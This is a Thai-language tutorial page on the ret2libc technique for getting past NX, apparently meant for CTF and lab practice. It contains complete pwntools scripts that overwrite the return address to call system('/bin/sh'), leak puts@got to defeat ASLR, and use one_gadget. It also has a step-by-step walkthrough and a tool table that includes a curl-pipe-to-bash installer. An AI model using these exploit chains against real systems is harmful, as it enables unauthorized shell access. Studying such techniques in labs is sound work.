ret2libc
ret2libc เป็นเทคนิค bypass NX ที่กระโดดไปเรียกฟังก์ชันใน libc (โดยเฉพาะ system("/bin/sh")) ซึ่งรันได้อยู่แล้ว เป็นกรณีเฉพาะที่นิยมที่สุดของ ROP บทนี้ลงลึก workflow ครบทั้งกรณีไม่มี/มี ASLR, การ leak + คำนวณ, one_gadget, execve via syscall และ troubleshooting (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. หลักการ
libc ถูก link มากับเกือบทุกโปรแกรม และมี system(), execve() รวมถึง string "/bin/sh" อยู่แล้ว ret2libc คือ overwrite return address ให้กระโดดไปเรียก system("/bin/sh") โดยจัด argument ผ่าน register (x64: RDI) — ได้ shell โดยไม่ต้องรันโค้ดใหม่ ผ่าน NX เพราะ libc อยู่ใน page ที่ execute ได้
2. กรณีไม่มี ASLR (พื้นฐาน)
ถ้า ASLR ปิด (หรือโจทย์ให้ libc base คงที่) address ของ system/"/bin/sh" คงที่ — ทำได้ในขั้นเดียว
from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')
offset = 72
pop_rdi = 0x4011d3 # ROPgadget --binary ./vuln | grep 'pop rdi'
ret = 0x40101a
# No ASLR → libc.address คงที่ (ดูจาก vmmap/ldd)
libc.address = 0x7ffff7dc0000
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
payload = b'A'*offset
payload += p64(pop_rdi) + p64(binsh) # rdi = "/bin/sh"
payload += p64(ret) # align
payload += p64(system) # system("/bin/sh")
p.sendline(payload); p.interactive()3. กรณีมี ASLR — leak ก่อน (2 ขั้น)
ASLR เปิด (ปกติ) → libc base สุ่มทุก run ต้อง leak address จริงใน libc ก่อน แล้วค่อยคำนวณ (ดูหัวข้อ ASLR ประกอบ) workflow คลาสสิก: ROP รอบแรก leak puts@got → กลับ main → ROP รอบสอง system
from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')
offset = 72
# ---- ขั้น 1: leak puts@got ผ่าน ROP เรียก puts(puts@got) ----
rop = ROP(elf)
rop.call('puts', [elf.got['puts']])
rop.call('main') # กลับมาส่ง payload รอบสอง
p.sendlineafter(b'> ', b'A'*offset + rop.chain())
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts'] # คำนวณ base
log.success(f"libc base: {hex(libc.address)}")
# ---- ขั้น 2: system("/bin/sh") ด้วย address จริง ----
rop2 = ROP(libc)
rop2.call('system', [next(libc.search(b'/bin/sh'))])
p.sendlineafter(b'> ', b'A'*offset + rop2.chain())
p.interactive()4. หาเวอร์ชัน libc (remote ไม่ให้ libc)
โจทย์ remote มักไม่ให้ไฟล์ libc — แต่ offset ต่างกันทุกเวอร์ชัน ต้องระบุเวอร์ชันจาก leaked address (เลขท้าย 3 หลักคงที่)
# leak address 1-2 ฟังก์ชัน แล้วค้นเวอร์ชัน
# เว็บ: libc.rip / libc.blukat.me — ใส่ symbol + เลขท้าย 3 หลัก
# local libc-database
./find puts 0x...e50 printf 0x...710
# ได้ชื่อ libc → download → ./dump ดู offset
# pwntools auto (จาก leak)
from pwn import *
libc = ELF('libc6_2.31-0ubuntu9_amd64.so') # ที่ค้นเจอ
# แล้วทำ ret2libc ตามปกติ5. ทางเลือกเมื่อ system ใช้ยาก
| วิธี | เมื่อไหร่ | หมายเหตุ |
|---|---|---|
| one_gadget | จัด arg ยาก/register ไม่เอื้อ | 1 address = execve(/bin/sh) |
| execve via syscall | system ถูก seccomp block บางส่วน | ROP จัด rax=59,rdi,rsi,rdx |
| __libc_system | system symbol ถูกซ่อน | หา offset เอง |
| ROP เขียน /bin/sh ลง bss | ไม่มี "/bin/sh" ใน libc/binary | read/gets เขียนก่อน |
# หา one_gadget offset
# $ one_gadget ./libc.so.6 → เช่น 0xe3afe (execve /bin/sh)
from pwn import *
libc.address = leak - libc.symbols['puts']
og = libc.address + 0xe3afe # one_gadget offset
payload = b'A'*offset + p64(og) # กระโดดไป one_gadget เลย
# ลองหลายตัวจน constraint ([rsp+x]==NULL) ตรง6. Troubleshooting
- crash ใน do_system/movaps: stack ไม่ align → เติม ret เปล่าก่อน system
- leak ได้ค่าแปลก: ตรวจว่า recv ตรงบรรทัด (sendlineafter prompt ให้ถูก)
- offset libc ผิด: เวอร์ชัน libc ไม่ตรง → ระบุใหม่จาก leak (section 4)
- system ไม่เปิด shell: ลอง one_gadget หรือ execve syscall
- ทำงาน local แต่ fail remote: libc remote คนละเวอร์ชัน — ใช้ libc ที่ระบุได้
- ไม่มี pop rdi: หาใน libc (มีเยอะ) หรือ ret2csu
7. Quick Reference
- กระโดดไป system("/bin/sh") ใน libc → bypass NX
- No ASLR: ขั้นเดียว (pop rdi; binsh; ret; system)
- ASLR: leak puts@got → libc.address = leak - libc.sym['puts'] → system รอบสอง
- remote ไม่ให้ libc → libc.rip/libc-database จาก leak
- ทางเลือก: one_gadget (1 address), execve syscall
- crash movaps → เติม ret; pop rdi หาใน libc ได้
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติ checksec บอกว่า NX เปิด และไม่มีฟังก์ชัน win ให้ใช้ — มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อไปให้ถึง system("/bin/sh")
- 1เช็ค ASLR ของเครื่อง (lab เท่านั้น):
cat /proc/sys/kernel/randomize_va_spaceและดู checksec ว่า PIE เปิดไหม - 2ถ้า No ASLR/libc base คงที่ ดู base จาก gdb:
gef> vmmapแล้วคำนวณ system/"/bin/sh" ตรงๆ - 3ถ้ามี ASLR ต้อง leak ก่อน: สร้าง ROP รอบแรกเรียก
puts(puts@got)แล้วrop.call('main')กลับมารับ input รอบสอง - 4รับค่า leak:
leak = u64(p.recvline().strip().ljust(8, b'\\x00')) - 5หาเวอร์ชัน libc จาก leak: ไปเว็บ
libc.ripหรือlibc.blukat.meใส่ชื่อ symbol + เลขท้าย 3 หลักของ address - 6โหลด libc เวอร์ชันที่ match มาใช้:
libc = ELF('libc6_x.xx.so') - 7คำนวณ base จริง:
libc.address = leak - libc.symbols['puts'] - 8สร้าง ROP รอบสอง:
rop2 = ROP(libc); rop2.call('system', [next(libc.search(b'/bin/sh'))]) - 9ถ้า crash ที่ movaps/do_system ให้เติม ret gadget เปล่าก่อน system
- 10ถ้าจัด argument ยาก ลอง one_gadget แทน:
one_gadget ./libc.so.6แล้วลองทีละตัวจน constraint ตรง
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| leak/สร้าง ROP | pwntools | pip install pwntools | - |
| หา gadget | ROPgadget / ropper | pip install ropper | ropshell.com |
| ระบุเวอร์ชัน libc จาก leak | libc-database (git clone) | git clone niklasb/libc-database | libc.rip, libc.blukat.me |
| หา one_gadget | one_gadget (gem) | gem install one_gadget | - |
| debug ยืนยัน base/offset | gdb + gef/pwndbg | bash -c "$(curl -fsSL https://gef.blah.cat/sh)" | - |
| เปลี่ยน interpreter/libc ของ binary | patchelf | apt install patchelf | - |
| ดูโครงสร้าง libc เพิ่ม | readelf / objdump | - | dogbolt.org |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้